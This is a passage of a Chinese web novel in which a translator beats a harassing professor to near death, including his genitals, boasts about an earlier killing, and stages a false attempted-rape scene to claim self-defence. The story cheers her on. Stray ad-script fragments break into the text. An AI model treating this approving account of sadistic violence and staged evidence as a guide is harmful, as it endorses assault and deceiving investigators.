古怪地看着他:“汪院长,你这可就冤枉我了。从宣发开始到现在,我和临译社没有一个人提过汪贵宗的名字,更别说上纲上线地指责他了。你们对号入座什么?” “……” 段黛继续:“再者,他到底尊不尊重女性,有没有性骚扰手下的学生,这种事学校应该会有公正地调查吧?F大百年招牌,可别砸在一个臭虫手里。” “……臭虫?” 汪院长的脸色有些难看,到底没敢在这个场合突然发火。 就在这时,台上的人忽然开始公布撤销学位的名单,理由是发现这些毕业生曾经存在学术不端的行为。 汪院长注视着大屏幕上的名单,幽幽开口:“学术不端可是大事,那些毕业生以为毕业了就没事了,却不知道学校可以随时撤销他的学历呢。” 段黛轻轻笑了。 这是在杀鸡儆猴,警告她就算毕业了也可以被F大撤销学位呢。 段黛眯着眼睛看向前面,淡淡道:“哦?那过几天我亲爱的母校就要查出来我学术不端了吧?我其实无所谓的,你们想干什么就干什么吧。” 汪院长的脸色有些发青:“你别说气话!” 段黛莞尔:“我可不是说气话。我投资了几家不错的企业,就是什么都不干收入也非常可观。名声与我而言不过浮云,就是不知道对于F大来说,对于外语学院来说如何了。” “……” 汪院长说不出话来了。 段黛料定F大不敢在这个时间撤销她的学位。她不过内涵了一下有性骚扰嫌疑的教授专业水平不行就“学术不端”了,傻子都能看出来是学校的打击报复。还有几个月就是高考了,和F大同档次的学校也是有的,如果最后投档线比C大D大都低的话那可就难看了,要不然学校也不会着急把事情压下去。 他们以为段黛为了脸面名声会愿意配合,却不知道段黛压根就不在意别人对她的评价。她手里有存款有股份,甚至还有一个翻译日轻用的尚未公开过真实身份的笔名。 更何况这种事段黛就算声名狼藉又能狼藉到什么程度呢?她只是提出要改良译文而已。到底是谁心虚了,大众心里跟明镜似的。 “……请各位嘉宾稍事休息,半个小时后我们继续。” 坐了好长时间的嘉宾们也确实都累了,见中场休息了便纷纷起身,准备去外面走走。段黛也随之起身,跟着一起向外走去。 外面依然有学生负责拍照录像,一个老师为嘉宾们指了茶水间的位置。段黛刚想走向其中一个房间,一个男老师拦住了她:“段黛老师去前面的休息室吧,那里是女性专用的。” 段黛看了他一眼,点了点头,走进了前面的休息室。 随着她踏入房间,“啪”的一声,大门在身后关上。段黛后知后觉地发现了不对劲,稍微拉了拉门把手,这才发现门已经锁上了。 她转过头来,看到前面的沙发上,坐着这些日子经常光临热搜的主角。 汪贵宗。 59. 梅开二度 段黛今日打扮非常正式,衬衣领带加上西装半身裙,不过因为天气寒冷,所以她依旧穿了一件毛呢大衣。 而毛呢大衣的外套里,有她最喜欢的——打孔钳。 段黛伸手摸了摸打孔钳,心道这个习惯还是挺不错的。思及此,她微微一笑上前一步道:“我当是谁,原来汪教授啊。” 汪贵宗站起身来:“小段啊,你也是我的学生吧?” 段黛:“上过一门你的必修课。” 汪贵宗点了点头,在屋子里缓缓踱步。他的头顶已经秃了,在太阳光的照耀下亮的像个灯泡。 “平心而论,我教的还不错吧?也没有对你进行过什么不合适的行为……” 段黛:“本科生都上大课,你也没办法进行什么不合适的行为。不过我记得上课喜欢开黄腔倒是真的。” “……” 汪贵宗深吸一口气:“算了,我就直说吧。你只要保证别插手这件事就好,学校自己会把这件事安排好的。我已经准备退休了,不会再被返聘,你也不用担心其他学生会有什么委屈……这样对我们都好,不是吗?” 段黛:“对我们都好?你的那个学生怎么样了?现在大家都说是被杀人灭口了呢。” “别胡说八道!”汪贵宗怒斥,“之前都是你情我愿的,谁知道她会突然这么多毛病!现在我老婆要和我离婚,我儿子面临政审……就算我有错,我儿子也是无辜的啊。我一定会离开F大的,只是想体面一点……” “你当初做下这些事情的时候,就该想到会有晚节不保的一点。至于你的儿子……嗯……关我什么事?而且你说你情我愿?”段黛笑了,“以你们的地位差距,很难相信这个你情我愿里没有威逼利诱的成分在。” 段黛直视着汪贵宗,脸上毫无惧色:“其实我从头到尾都没有对你性骚扰的事情发表过什么言论,只是你早年翻译的作品实在是太恶心了,夹带的私货实在是太难看了。我只是说你不专业、不道德而已,是网友们自己想到了你做的恶心事。” “不过我这个人特别讨厌别人教我做事。你们这样欲盖弥彰的,反而说明是真的有什么事了。” 汪贵宗见段黛油盐不进,索性也不劝了。他一把抓住段黛的手腕:“其实外面已经有人拍到了,我和你一前一后进了这个房间,并且还上了锁。反正已经有人猜测你是靠陪睡才有了现在的资源的,不如我们就把这个传言坐实了怎么样?” 段黛眼神一厉:“怎么,你想强女干我?” “用不着我真正做什么,这个屋子没有监控。但是人言可畏,”汪贵宗露出了猥琐的笑容,“只要撰写报道的时候用词暧昧一点,你身上的脏水就摆脱不了了。以后不管你获得什么成就,这种声音都会像苍蝇一样缠着你——” “看啊,那个段黛还不知道是睡了多少个人才有现在的成绩呢。” 汪贵宗向前一步,把段黛逼到墙角:“所以,你能配合了吗?” 段黛看着他的脸,嘴角却扬了起来。 “我如果是害怕名声受损的话,一开始就不会提出要在这个时候给书改名的。” 说时迟那时快,段黛抄起口袋里的打孔钳,一把敲在了汪贵宗光秃秃的脑门上。铁器和头骨撞击,因为没有头发的阻隔,发出的响声格外清脆。汪贵宗惨叫一声,捂住了自己冒着血的头顶:“你疯了!” 段黛随手扯起旁边的椅子,一下一下地砸在了汪贵宗的头上。虽说段黛只是个手无缚鸡之力的年轻女孩,但汪贵宗到底也上了岁数了,很快就在她发了狠的攻击下跌倒在地:“你……你干什么……” 椅子哗啦一声散了架,段黛“啧”了一声:“学校后勤干什么吃的,这么差劲的东西都留着用。” 她捡起一根凳子腿,毫不留情地敲在汪贵宗的腿上,从膝盖敲到小腿,骨骼碎裂的声音清晰可闻。汪贵宗看到段黛的脸上不仅没有慌张和恐惧,反而还有一丝兴奋,仿佛她等待这个时间已经很久了。汪贵宗终于感到了害怕了:“你……你这样是要判刑的……” “怕什么,你说了这个屋子没有监控,刚刚我看了,确实是这样,”段黛把爬在地上的汪贵宗踢着翻了个身,让他正面朝上,“一会儿开了门,我就说你要弓虽女干我,我拼死反抗,可能有点防卫过当,也可能只是正当防卫。没关系的,别躲啊?” 段黛将凳子腿高高举起,向着他两腿之间重重砸了下去。那木棍隔着裤子布料和一滩被敲烂的肉,与地面来了个亲密接触,汪贵宗的惨叫声响彻房间,震的段黛耳朵疼。 “你……你居然主动说自己被……你还要不要脸了?” “你都不要脸了我怕什么?”段黛大笑,抡起木棍敲在了他脑袋旁边,“一年前有个流氓想对我做点什么,我把他打进了ICU,他大小便失禁并且失去了生育能力,没几天就死了。你知道吗,杀人的感觉真的很爽。” 她蹲在汪贵宗脑袋旁边,低低地笑了:“我没有违法犯罪不是因为我善良,而是因为有法律的存在。我每天做梦都在想怎样才能把一个人的骨头一寸一寸的敲碎,这个画面我在脑袋里演练了无数次……多亏你为我制造了这样一个场景,一个能逃过法律束缚的场景,那我当然要抓住机会啊。” 段黛本来还像用打孔钳在他脸上打孔的,想了想这回调查可能没有之前好糊弄了,到底还是放弃了,只用凳子腿一下一下地敲着地上的人。汪贵宗涕泗横流,身下全是淋漓鲜血,在段黛雨点般的殴打下只能来回扭动着身子,却也躲闪不及。 大约是汪贵宗的惨叫声太过凄厉,平静的门外终于也热闹了起来。 “怎么回事,我好像听到有人惨叫?” “哎,这门怎么锁了?” “谁在里面?” “刚刚段黛老师进去了……” “快去找钥匙!” 听到钥匙插入锁孔的声音,段黛一面变脸,尖叫一声:“别摸我!” 随后她脱掉了身上的外套,解开衬衣的扣子把领口扯开。在她把自己的头发抓散的瞬间,外面的人冲了进来。 先跑进来的是大学生,看到衣衫不整掩面哭泣的段黛和躺在地上血肉模糊的汪贵宗傻了眼,一时不知道该先救谁。后面跑来的女生立刻脱掉外套盖在了段黛的身上,安慰她道:“没事了没事了…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” #性骚扰不成反被打进ICU #F大教授汪贵宗被段黛打进ICU #F大校庆 ——汪贵宗怎么还在学校啊,不是说调查吗?调查了个锤子? ——天呐,前几天还说F大居然邀请段黛了,今天就传出来qj未遂,F大安的什么心啊…… ——得了,不管性骚扰是什么结果,现在qj未遂是真的,被打进ICU也是真的了。 ——能说吗,段黛威武。 ——段黛大帝威武! ——我靠,段黛老师之前住我们小区,晚上碰到流氓了……后来那个流氓也是被段黛老师打进ICU了! ——段黛大帝! F大做梦也没想到,中场休息还能出这么个大事。汪贵宗是汪院长的小叔叔,如果不是有这层关系在,汪院长还真未必能坐上现在的位置。为了让小叔叔安度晚年,汪院长想了这么一个方法,威胁不了就造黄谣,把段黛绑到他们这条船上来。 没想到段黛根本不怕这些,不仅没有要大事化小小事化了的“觉悟”,还故意把事情闹大了,并且差点让汪贵宗一条命都交代在这。 警车和救护车呼啸而过,把半死不活的汪贵宗拉走了。段黛经检查没有什么大碍,便整理之后重新回到校庆现场。 校庆继续。 又是一些漫长无聊的讲话之后,终于轮到了优秀校友发言。每个学院都有一到两个成功人士回来,而外语学院的就是段黛了。轮到她上台时,段黛妆容精致衣服整齐,脸上挂着得体的笑容,丝毫看不出刚刚经历了什么事情。灯光在她身上聚拢,她看到了好几个直播机位。 “各位老师同学们大家好,我是毕业于F大外语学院的段黛。” 段黛简单讲了一些又红又专的内容,无非就是新时代译者应该如何如何。话锋一转,她忽然道:“想来大家也知道,我要给《我亲爱的殡葬师男友》改名为《殡葬师》的事情。” “在翻译界有这样一句话:翻译即背叛。任何翻译都不可避免地涉及某种程度的背叛或忠实于原始文本的丧失。翻译必然要做出选择和妥协,而这些选择和妥协很有可能会改变原作的意义或风格。而我们能做的,只是尽可能的将这种背叛降到最低。” “我们其实被翻译愚弄了好多年。比如youngwomanandsea被舍弃了性别翻译成了泳者之心,比如我现在翻译的女性主义作品《殡葬师》被汪贵宗教授歪曲成了《我亲爱的殡葬师男友》。” “翻译是文化交流中的重要环节,这种夹带私货的翻译已经不是一句翻译即背叛能够糊弄过去的了。我们为什么要在外网上强调春节不是LunarNewYear,因为我们不能容许其他国家偷走我们的文化。我为什么要恢复《殡葬师》的法语直译书名,抨击汪贵宗荒谬的初代翻译,因为这是一本女性主义小说。” “希望年轻一代的译者能够继续前进,在跨文化交流传播中献上自己的力量,为建设文化强国添砖加瓦。” 段黛环视四周:“我的讲话到此结束,接下来是提问环节。请问大家有什么问题?” 60. 世事我已抗争 几个外语院的女生举手问了一些工作相关的事情,有问如何联系出版社的,有问段黛日常的工作时间的,也有一些比较虚的问题,比如一位译者最重要的品质是什么。段黛一一作答,然后一位看起来并不像是学生的人举起了手。 段黛伸手示意:“您请。” 对方站起身来:“刚才中场休息的时候,您和汪贵宗教授一前一后的进了同一个房间。网上也有传言称,您现在的翻译资源是靠一些不正当的手段得来的。请问您这次大胆报警正当防卫,不担心网上的谣言更加凶猛吗?” 段黛微微一笑:“我为什么要担心呢?” 对方愣了一下,解释道:“比如他们会说您是之前就和汪贵宗教授有不正当关系,但是因为利益问题才大打出手……” 段黛莞尔:“莫须有的事情,我又何须担心呢?我行的正坐的直,即便是被骚扰也不是我的错误。我不会因为旁人的闲言碎语而降低自己的工作效率,更不会陷入自证陷阱。” “如今我们的社会在快速发展,我们的观念也在逐渐进步。我们都知道在性骚扰事件中有错的是加害者,受害者不应该遭遇任何荡|妇羞辱。从为了脸面名声默默忍受,到大胆报警承认自己收到侵害,这是漫长的一步,也是关键的一步。我很佩服那位大胆举报的女学生,她顶住了多方面的压力,勇敢站出来,不仅是为自己发声,更是为身后无数个女学生发声。” “而我今天的正当防卫,不止是为了自己,更是为了让所有受害或可能受害的人们知道,身为受害者我们无需完美,不必担心会不会防卫过当,勇敢保护自己才是第一位的事情。” “我相信明事理的人都会赞同我的做法,而羞辱我的人也未必是我的读者。如果连我自己都看轻自己,那么又谈何让更多人站在我这一边。世事我已抗争,成败不必在我。” 段黛的眼神透过这位提问者,看向坐在他旁边的汪院长。被盯着的汪院长哆嗦了一下,躲开了段黛锐利的眼神。 她在看他。 她知道最后提问的这个人是他派来的。 段黛:“还有什么问题吗?” 片刻后,观众席上不知道谁喊了一声“好”,接着掌声雷鸣,久久不息。段黛微笑鞠躬,离开了舞台。 段黛拿起自己的包,打开手机时看到有几条未读消息,是黎尚轩发的。 黎尚轩:【我看到热搜了,你还好吗?】 黎尚轩:【有没有受伤?】 段黛的嘴角轻轻上扬,回复他:【放心好了,我是必不会吃亏的。】 黎尚轩:【那就好。我知道你大概会勇猛反击的,不过没受伤吧?需不需要去医院包扎之类的?】 黎尚轩:【要不要我过去找你?你在F大的哪个校区啊,我想导航才发现F大好几个校区……】 段黛:【没事,我这边有车送,你过来也不方便,放心吧。】 段黛:【我肯定不会伤敌一千自损八百的。】 黎尚轩:【还说呢,咱们第一次见面的时候你的胳膊上可是好大一块伤,还有脸上也肿了。】 段黛:【……】 一激动就把自己也光荣负伤的事给忘了。 段黛:【当时第一次不熟练,意外,意外。】 黎尚轩:【好吧。我最近没什么工作,你如果需要帮忙一定要叫我哦。】 段黛发了个ok的表情包。 又是一段漫长而无聊的演讲,校庆直播总算是结束了。段黛被F大送回出版社时,一群编辑站在楼下,浩浩荡荡地簇拥过来:“段黛回来了!” 就在段黛演讲之后,V博上的言论迅速变化着。再加上先前汪贵宗那啥不成反被打进ICU实在太过震惊,导致段黛的一举一动都颇受关注。 之前段黛还觉得这种无聊的直播是不会有人看的,事实证明她错了,线上观看F大校庆的人还是很多的。段黛的那一段演讲当然也在各个直播间里放送出来,一早就准备好的媒体号做了录播并迅速剪辑,配上字幕后在各大平台上流传。 短短几个小时,段黛的那一句“我为什么要担心呢”撼动了广大女性的心弦。无数个曾被汪贵宗侵犯过的学生纷纷站出来发帖,要求F大公正处理这件事。原先举报的女博士因为有效证据不足而举步维艰,而很多受害者耻于谈及这段过往,想着多一事不如少一事,因此视而不见。 现在越来越多的受害者站了出来,她们拿出了更多自己不敢触碰但也保存起来的证据,声援女博士和段黛,也要为过去的自己一个交代。 在这般攻势之下,汪贵宗的晚节还能不能保住,就不好说了。 关月兰拉住段黛的手,千言万语涌上心头却不知从何说去。好半天她才道:“营销那边反应,《殡葬师》预售数量爆了,首印数得加到七万了。” 段黛挑眉:“这是好事,你的提成我的版税,我们都有光明的未来。” 关月兰盯着她看了一会儿,最后无奈地笑了。她拍了拍段黛的肩膀:“再休息一个周,下周给你签新合同。” 顾笙:“是因为要放清明节假期所以才下周再签吗?” 关月兰:“……不然我怕她放假前把稿子交给我。” 段黛:“……我倒也没有那么快的。” 关月兰深吸一口气:“幸好你是在放假前把大事干完了,要是放假中途叫我出来配合宣传工作,我会假装玩S.M然后真的把你打死。” 段黛:“……” 不好意思,因为太久没上班了,所以不知道法定节假日是哪天了。 也许是因为发现的及时,汪贵宗醒来后的状态比当时的钱耀祖好一点,虽然现在依然是失去生育能力加大小便失禁的状态,并且还切除了部分生zhi器,不过之后应该有希望恢复大小便自理。 醒来的汪贵宗拼命解释他没有对段黛做什么,是段黛先动的手。然而聪明反被聪明误,他们当初挑选的地点恰好没有监控,并且为了方便控制段黛而疏散了人群。那知道这种环境给了段黛绝佳的动手机会,让他们有苦说不出。 段黛一脸无辜:“你是说,我恰好找到了监控死角,并且保证没有人靠近休息室,还在学校发现了本来应该停职在家的汪贵宗教授,然后打伤了他?” 这话说出来就很荒谬,想也知道根本不可能。仔细一调查就会发现那些天时地利 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人和的条件都是汪贵宗布置的。再加上后来冲进来开门的学生也表示听到了段黛的惨叫,于是更坐实了其实是汪贵宗图谋不轨,而段黛只是正当防卫。如果不是汪贵宗他们存了坏心,现在估计应该已经避过风头,继续清清白白做人了。 什么叫搬起石头砸了自己的脚。 这就叫搬起石头砸了自己的脚。 段黛慷慨的表示,自己虽然会追究汪贵宗的法律责任,并且可能会索要一大笔精神损失费,但汪贵宗的住院费她愿意全包。她说这是一码归一码,老头犯罪得有惩罚,自己下手重了所以愿意负责后续治疗。 网友们纷纷表示段黛真是太好心了,居然还愿意管老登的死活。 ——要我是段黛,巴不得他赶紧死了呢。 ——老登肯定有钱住院吧?好意思用段黛的? ——笑死了,说不定精神损失费比住院费多呢。 ——段黛大帝:“一码归一码。” ——不能让老登就这么死了,得叫他看看自己晚节不保的样子。 ——对对对,不能叫他就这么死了…… 段黛对此无所谓,反正现在她有钱了,能用钱摆平的事情那就别吝啬。 不过段黛不知道的是,黎尚轩在和客户交流设计方案时,也有意无意地聊起了汪贵宗的事情。黎尚轩的这位客户在一所大学做辅导员,两人闲聊时有意无意的就会提到最近闹得沸沸扬扬的汪贵宗事件。客户事先知道黎尚轩给段黛做过设计,不免好奇:“您和段黛老师还有联系吗?” 黎尚轩点了点头,稍微添油加醋地渲染了一下段黛的有勇有谋和汪贵宗的恶劣。客户大为感动又义愤填膺,表示段黛干的漂亮。 然后一段时间之后,这位客户和自己学校的其他老师也聊了起来,然后这些老师又跟自己的其他人脉说起了这些…… 在事件快速发酵之时,清明节假期终于来了。 清明节放假,不少人回家探亲祭祖,于是邓辞他们高中同学又搞了个聚会。 邓辞大概是不敢再研究投资了,整日浑浑噩噩的,闲下时间来不知道该干嘛。想来可能是因为他在老同学之中混的还算不错的,于是三天两头往老家跑,想在老同学之中找找找优越感。 段黛的光辉事迹随着性骚扰事件再一次在网络上传播,也因此又一次成为了老同学们热议的话题。 “没想到段黛这么飒啊。” “听说之前她还把一个流氓打的半身不遂了……” “我要是遇到这种事早吓死了,根本想不到还能反抗。” “哎,她在F大演讲的那句话说的真好,又不是受害者的错,干嘛要被脸面名声绑架。” 邓辞实在听不得有人在他面前夸段黛,忍不住又拿自己和段黛的那点过往说事:“说不定她见识多了,压根不觉得那档子事算什么,所以才这么恬不知耻的直接说呢……” 话音刚落,包间门忽然被推开了。所有人的脸色都变了,只有背对着门坐的邓辞还不知道是怎么回事,旁若无人地大放厥词。 下一秒,段黛的声音响了起来:“邓辞,听说你到处造谣我向你表白还被你拒绝了?” 61. 邓辞翻车 突如其来的质问像是平地落雷,一下子砸在了邓辞的脑袋上。他哆嗦了一下,战战兢兢地扭过头来,这才看到段黛站在自己的身后,正居高临下地看着自己。 邓辞只觉得大脑一片空白,他张了张嘴,好半天才找到自己的声音:“你……你怎么来了?” 她不是从来不参加同学聚会的吗? 参加聚会的女同学们似乎早就知道这件事了,自动让出了邓辞对面的位置来。段黛微笑着和众人说了句“好久不见”,接着走到桌子对面,拉开椅子坐了下来。 她抬起头,气定神闲地看着对面面如死灰的邓辞:“我要是不来,哪能知道你背着我唱什么大戏呢?” 段黛穿的衣服虽然简单,但质感很好。过膝大衣里是黑色长裙,搭配一个墨绿色的琴谱包,看起来随性而舒适,非常贴合段黛的气质。而对面的邓辞穿着那身万年不变的某奢侈品牌的外套,logo明显地亮在外面,生怕旁人不知道自己穿的是什么似的。不知是不是因为他每次回老家都要穿这件外套,有些地方都被拉扯的有些变形了。于是暴发户看起来似是虚张声势,看起来更加可笑了。 从前众人都被邓辞天花乱坠的言辞吹的找不着北,于是没人注意他的这些小心思。如今总活在他口中的段黛出现了,见到了段黛身上的松弛感后,众人突然发现—— 邓辞这个人,怎么strongstrong的。 段黛靠着椅子背,抱着手臂搭着二郎腿,饶有兴致地看向桌子另一边的男同学们:“你们说说看,这些年我没回老家,邓辞都说我什么了?” “……” 寂静。 死一般的寂静。 段黛转头看身边的女同学:“他们不说话哎。” 有个女同学忍不住了:“我早就想说了,邓辞你是在造段黛的黄谣吧?” 邓辞面色惨白:“不是,我……” 马上又有女同学开口:“就是啊,段黛怎么样全靠你一张嘴叭叭,我们看段黛又是出版新书又是出去旅游的明明过的挺好的,怎么到你嘴里就好像那什么失足少女似的……” 段黛笑容满面地看着邓辞:“哦?你还说我是站街女?” “……” “一件一件来吧,”段黛慢悠悠的开口,“我大老远从临安跑过来是为了解决问题的。先说第一件,你说我跟你表白?什么时候的事?” 邓辞近乎昏厥,他此刻真的很想夺门而出。但所有人都注视着他,让他感觉自己仿佛一站起身就会被按回去。 段黛的声音不大,但压迫感极强:“说话。” 邓辞闭了闭眼,吞吞吐吐道:“初中的时候……” 段黛:“初几?上学期还是下学期?or寒假暑假?” 邓辞:“……初二,是……” 有人蹙眉:“初二?怎么我记得邓辞跟我说的是初一啊。” “我听的是高一的时候。” “啊?我听的怎么是小学的时候?” “邓辞说段黛从小就喜欢他,幼儿园的时候天天追着他说要嫁给他……” 只要稍微一问,就能发现邓辞的话全是漏洞。众人发现了每个人从邓辞那里得到的说法都不一致,这才发现邓辞一直在胡说八道。 众人狐疑又无语的眼神看了过来,邓辞的头上冒出了冷汗。段黛微微一笑:“看来邓同学记性不太好啊。” 坐在段黛身边的女同学蹙眉:“所以段黛根本没跟你表白吧?” 邓辞不说话,算是默认了。众人当即“噫”了一声。曾经有暗恋邓辞还把段黛视为情敌的人只觉得可笑,而偏偏又有当年的朋友小声对她说:“你的crush。” 有这种crush相当于留下案底了好吗。 段黛敲了敲桌子:“好了,那我们继续聊下一件事。你还说过什么来着,是说我打胎了是吧?” “……” 不用邓辞开口,同学们就七嘴八舌地说起来了。这个说段黛是大学的时候打胎,另一个说段黛是考研的时候打的胎,并且邓辞还去陪着照顾了一段时间。更离谱的说段黛每年都打胎,是人流医院的常客…… 然后大家都沉默了。 又是说法不一致。 段黛摸了摸头:“澄清一下,我是保研的,没考研哦。” 澄清这一点干什么啊! 接下来不用邓辞开口了,老同学们自己就能拿他之前说的段黛的“光辉事迹”来和段黛求证了:“邓辞还说,你对他表白失败后就堕落了,故意和渣男谈恋爱,想通过作践自己的方式让他后悔……” 段黛:“我确实经常和渣男谈恋爱。” 众人惊奇地瞪大了眼睛,有个女生道:“但是你根本没跟邓辞表白啊……” 段黛一脸无所谓:“以前恋爱脑,所以谈个恋爱要死要活的。年轻嘛,谁没做过蠢事,谈多了才能进步。” “……”真是好不同寻常的澄清啊。 这一问,就从大一问到研三,从国内问到国外。段黛不多做解释,只是笑容满面地看着邓辞,说“是这样吗”或者“你又不在当地怎么知道的”,邓辞就会立刻冷汗直冒,然后大家就知道这小子又胡说八道了。 段黛同时还不忘掀一掀邓辞的老底。讲黑历史嘛,当然要当着本人的面说才是最有意思的。段黛按照原主的记忆,说了邓辞门门挂科跪求她帮忙的事,说了他工作后靠小聪明投资,结果还得靠她来选品的事,也说了她稍微挖了个坑,邓辞就把所有老底都赔进去的事。 众人张大了嘴巴,原来邓辞之前光鲜亮丽还是沾了段黛的光。段黛微笑地看着对面的邓辞:“我能给你的东西,当然就能收回来。” 邓辞哑口无言。 之前他还觉得新的段黛也能为他所用,所以对段黛的狠厉只当做是小猫伸爪子,一笑而过了。 如今他才知道,段黛从来不说空话。 她放的狠话,是真的会做到的。 段黛的出现掌控了聚会的主场。尽管她根本没有拆开面前的餐具,也没有要在这里喝杯水的打算,但人群还是向她靠拢。 邓辞孤零零地坐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在对面,明明左右都有人,却仍然被孤立了。 就像……他从前偷偷和大家讲段黛的坏话,导致所有人都看她的眼神不对劲一样。 段黛讲完之后就站起身了:“来的时候我已经帮你们把账结了,你们慢慢吃吧,我有些事,就先走了。” 段黛提着包施施然起身,气定神闲地离开了包间。人群的焦点离开后,所有人的视线再一次落到了邓辞身上。 那是一种怎样的目光啊。 嘲讽的,看热闹的,嫌恶的…… “邓辞啊,你真是……” 邓辞合上了眼睛。 如果不是因为关月兰还没给她签新的翻译合同,段黛应该也不会就为了这么一点事特意跑一趟老家的。本来就闲的没事,又从女同学那里得知邓辞都破产了还嘴上没个把门的,那段黛可得好好收拾他一下。 回了临安之后,段黛去了黎尚轩的新家看了看。黎尚轩的新房子买在小区另一侧,离段黛那里也是有一段距离的。想来将来如果不是有意见面,他搬过来之后两人也不至于抬头不见低头见的。段黛觉得这个距离很不错,熟人住的离自己近是好事,但是也别太近了,每天动不动就碰到还是挺不舒服的。 现在这样,就刚刚好。 黎尚轩家而面积大概只有段黛家的三分之一,毕竟一个人住也没必要太大。段黛到的时候,新家的装修已经初见雏形了。设计师对自己家会大胆一些,段黛看到了复古的墨绿和暗红在他家大面积的涂刷,撞色的搭配在视觉上就激起了她的兴趣。 段黛在房子里四处转了转,评价道:“不愧是设计师。” 邓辞笑道:“到时候我搬家了还要请你来帮忙聚人气呢。” 段黛点头:“应该的。你搬家的时候我也来帮忙好了,礼尚往来嘛。” 清明节假期就这样结束了,《殡葬师》的发行也提上了日程。 也不知是不是巧合,在《殡葬师》发行的那天,汪贵宗被F大免除了一切职务,并因为犯罪证据确凿而被正式定罪。等到他能从病床上爬起来了,就要进去为自己的所作所为服刑。 托他蹲号子的福,《殡葬师》一经发行便被抢空,哪怕关月兰提前大胆加了首印量都没够用,不得不继续紧急加印。段黛听着关月兰甜蜜的抱怨,轻轻一笑。 感谢汪教授为她的新书增光添彩。 清明节假期结束之后,世界读书日也随之而来。各大出版社和书店都卯足了劲为此做准备,关月兰本来就为了《殡葬师》忙的昏头涨脑,又碰上出版业专有的购物节,更是忙的脚不沾地了,以至于还没顾得上和段黛定新合同。 正在段黛翻着还有什么日轻可以拿来翻译的时候,顾笙先找到了段黛。 “有家奶茶公司,想和咱们社的书做联名,在世界读书日那天做活动。” 而好巧不巧,那家公司挑中的那本日轻还是段黛用笔名翻译的。 奶茶和动画小说联名也不是什么新奇事,段黛挑眉:“哪家奶茶啊?” 顾笙:“是——林深。” 62. 什么歪瓜裂枣也想联名 自从段黛离开林深后,这半年来,陈方烨过得可谓是焦头烂额。 他和段黛创业之处的合伙人纷纷辞职转让股权,渐渐的林深就只剩下他带来的一堆“兄弟”和代表Season的宋语瑶。这群兄弟确实对他唯命是从,但也从来发现不了他的决策的漏洞,导致这半年来他的所有想法都得不到落实,忙活到最后都是个四不像。 宋语瑶似乎也掌握了和他相处的模式,只要不会出大麻烦就对他的决定睁一只眼闭一只眼。然而一旦有什么触及到Season方面的内容,宋语瑶又会敏锐地出手,把一切掐灭在根源。 本来计划在段黛离开后不久就能上市的公司,拖到现在还是一团乱麻。 如今新年以来,陈方烨决定落实他最初的想法——IP联名,借由游戏动画或者小说等作品将林深的名号彻底打响。然而他们最开始试图合作的动画都爆了大大小小的雷,其他发展不错的动画又只愿意和大品牌合作,根本看不上林深这三瓜两枣的。 这时有个明白人给陈方烨提了个建议:不如去找动画原作的小说合作,并且最好挑选一些冷门但口碑不错的作品。冷圈人如果发现有带自己喜欢的作品玩的事物会非常开心,虽然比不上大热作品,但其效果也是相当不错的。并且冷门一点的作品报价低,很适合现在的林深。 陈方烨觉得这个想法不错,再一看世界读书日正好要到了,干脆就和小说联名好了。一群人又是开会又是分析,筛选了好长时间,最后选择了一本异常纯爱的轻小说,书名是《看着我的眼睛》,译者是Paragraph。陈方烨调查了一下,发现中译本是临译社出版的时候,眉心狠狠地跳了一下。 说来真的很奇怪,引进日轻的出版社很多,但只有临译社的选题全是这种“冷门宝藏”类型的。 陈方烨知道段黛一直都是和临译社合作的,准备联系之前还有些犹豫。但仔细一想,段黛是主攻英语和法语翻译的,并且接触的都是偏严肃的内容,像《看着我的眼睛》这样又拉扯又扭捏的作品大约是和段黛八竿子打不着边的。于是陈方烨抱着一丝侥幸心理,联系了临安译文出版社。 版权引进的时候临译社签好了合同,作品中文译本的各类事务交由临译社全权代理,只要按照规定向原作者支付一定比例的报酬即可。所以林深想要和轻小说联名,最关键的要看译者段黛的意见。 其实译者在这里的话语权也不大,最终拍板的还是出版社。但是这次的情况有些特殊,所以顾笙询问段黛:“你怎么看?” 段黛思考了一会儿,问:“一般来说,如果出版社想同意的话应该已经同意了,现在来问我的意见……说明社里并不打算合作吧?” 顾笙在电话里叹了口气:“对,一方面是咱们社和Season达成了合作,与《殡葬师》做联名,在读书日那天推出新品,关姐这几天都在忙这个……另一方面是我们看了一下林深的方案,就……挺简陋的。但是答应的话,你的收入自然会增多一些……出版社的意思是,如果你想参加联名的话,那社里也考虑一下和那边对接。” 段黛抿了抿唇,Season的联名她是知道的,大致方案她也看过,属于是她看了都想买的那种。至于林深的合作……段黛其实是有些顾虑的。 原书里也有类似的情节。林深在盲目扩张之后一度陷入低谷,恰好世界读书日近在眼前,女主便牵线搭桥,让林深和临译社联名。最后联名大获成功,不仅让林深的名号在全国人民的心中有了存在感,也让临译社联名的那部作品爬到销量前几位,可谓是双赢。 她与陈方烨确实有积怨,但私人恩怨不该影响工作。如果这次联名真的对出版社和自己有好处的话,那也不能就这么武断地拒绝了。可现在与原书剧情的差距还是很大的,原书里Season并没有先一步合作,而且林深联名的作品也并非出自段黛之手。在这种变化之下,林深与临译社的合作倒也未必那么厉害了。 思索片刻,她道:“给我看一下林深提供的方案吧。” 几分钟后,段黛看到电脑上提示她收到了新的邮件。 段黛仔细审视了一番后松了一口气,给顾笙发消息:【什么垃圾方案,拒了吧。】 顾笙:【OK。】 先不说那格式混乱图片乱飞的文件,就光说方案本身便值得让人翻白眼了。这个方案完全就是从奶茶出发的,小说就是一个陪衬。且不说毫无美感的包装,也不说联名的周边有多么简陋,单是盲盒一样的获取周边方式就让人哭笑不得了。 十几份联名贴纸,居然是随即获取的,并且不论一单买了多少杯都只送一张。人都是有收集癖的,为了集齐所有周边确实有可能不停地买奶茶,但是一份两份还好,多了只会让人厌烦。 所有联名奶茶推出之后,都会有人问“全部集齐的购买攻略”是什么。也许一整套下来要一百两百的,但是如果物料足够精美,那也有人愿意为此花钱。 但是林深的这个方案,不仅无法找到全部集齐的攻略,相应的物料也异常粗糙。联名失败的案例也不是没有,对应的粉丝都会指责“别什么歪瓜裂枣都联名”的。 与其如此,不如爱惜羽毛,直接拒绝得了。 